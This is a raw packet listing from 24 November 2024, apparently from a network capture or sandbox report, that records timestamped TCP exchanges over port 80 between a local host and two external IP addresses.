Nov 24, 2024 12:24:25.885999918 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.886034012 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.886045933 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.886069059 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.886109114 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.886816978 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.886868954 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.886939049 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.887842894 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.887927055 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.888098001 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.888597965 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.888782024 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.889477968 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.889523983 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.889775038 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.890353918 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.890397072 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.890472889 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.891119957 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.891335011 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.891525984 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.891573906 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.892124891 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.892488956 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.892564058 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.892976046 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.893937111 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.893970966 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.893985987 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.894004107 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.894054890 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.894726038 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.895369053 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.895422935 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.895653963 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.895688057 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.895735025 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.896497965 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.896689892 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.896809101 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.897365093 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.897551060 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.897670984 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.898252964 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.898502111 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.898555040 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.899200916 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.899235010 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.899283886 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.900058031 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.900270939 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.900331974 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.900916100 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.900949001 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.900990009 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.901750088 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.902096033 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.902431965 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.902731895 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.902975082 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.903219938 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.903592110 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.903659105 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.903704882 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.904388905 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.905082941 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.905133009 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.905278921 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.905781031 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.905920029 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.906142950 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.906256914 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.906305075 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.907036066 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.907651901 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.907701015 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.907948017 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.907982111 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.908123970 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.908787966 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.908905983 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.908983946 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.909720898 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.909754992 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.909832001 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.910553932 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.911431074 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.911458015 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.911490917 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.911503077 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.911525965 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.911571980 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.912301064 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.912416935 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.912467957 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.913194895 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.914096117 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.914129972 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.914144993 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.914314032 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.914376020 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.915007114 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.915071011 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.915183067 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.915777922 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.916044950 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.916085958 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.916688919 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.916819096 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.916866064 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.920398951 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.995290041 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.995434999 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.995460033 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.995516062 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.995563984 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.995611906 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.995618105 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.995661974 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.996802092 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.996848106 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.996850967 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.996882915 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.997952938 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.998003960 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.998013973 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.998053074 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.998872995 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.998917103 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.999217033 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.999258995 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.999988079 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.000031948 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.000297070 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.000340939 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.001144886 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.001189947 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.001235962 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.001282930 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.002191067 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.002238989 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.002337933 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.002382040 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.003334999 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.003380060 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.003427029 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.003469944 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.003637075 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.003746986 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.003813028 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.004081011 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.004492998 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.004511118 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.004528046 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.004539967 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.004554033 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.004565954 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.004962921 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.005248070 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.005290985 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.005513906 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.005554914 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.005825043 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.005842924 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.005867958 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.006643057 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.006688118 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.006901979 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.006961107 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.007716894 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.007765055 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.008130074 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.008204937 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.008853912 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.008903027 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.008948088 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.009033918 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.009960890 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.010011911 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.010142088 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.010190964 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.011121035 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.011204958 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.011382103 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.011485100 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.012518883 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.012579918 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.012749910 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.012793064 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.013463020 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.014210939 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.014259100 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.014507055 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.014736891 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.014784098 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.015520096 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.015537024 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.015563965 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.015593052 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.016557932 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.016603947 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.016707897 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.016748905 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.017720938 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.017770052 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.017890930 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.017935038 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.018807888 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.018850088 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.018858910 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.018982887 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.020006895 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.020102024 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.020200968 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.020251036 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.021035910 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.021080017 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.021156073 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.021205902 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.022087097 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.022150993 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.022202969 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.022248030 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.023185015 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.023508072 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.023596048 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.023648977 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.024303913 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.024319887 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.024352074 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.024364948 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.025422096 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.025463104 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.025985003 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.026032925 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.026539087 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.026623011 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.026786089 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.026849985 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.027631044 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.027687073 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.027699947 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.028728962 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.028791904 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.028822899 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.029834032 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.029892921 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.030515909 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.030962944 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.031021118 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.031068087 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.031111956 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.032089949 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.032246113 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.032308102 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.033157110 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.033714056 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.033771992 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.034246922 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.034300089 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.034459114 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.035428047 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.035487890 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.035593987 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.036632061 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.036678076 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.036731958 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.037681103 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.037724018 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.037769079 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.038464069 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.038681030 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.039407969 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.039448023 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.039789915 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.040175915 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.040230036 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.040894985 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.040952921 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.041888952 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.041991949 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.042042971 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.042138100 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.042479038 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.043167114 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.044236898 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.044253111 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.044267893 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.044286966 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.044316053 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.045309067 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.045365095 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.045538902 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.045619011 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.046392918 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.046443939 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.046583891 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.046627045 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.047519922 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.047565937 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.047657967 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.047700882 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.048656940 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.048702955 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.048943043 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.048985958 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.049735069 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.049778938 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.050196886 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.050240993 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.050802946 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.050847054 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.051419020 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.051462889 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.051928997 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.051971912 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.052580118 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.052624941 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.052999020 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.053044081 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.053394079 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.083976984 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.084323883 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.084340096 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.084361076 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.084420919 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.084582090 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.084960938 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.085063934 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.085832119 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.085880041 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.086065054 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.086435080 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.086719990 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.087034941 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.087079048 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.087609053 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.087760925 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.087815046 CET	49792	80	192.168.2.4	34.116.198.130
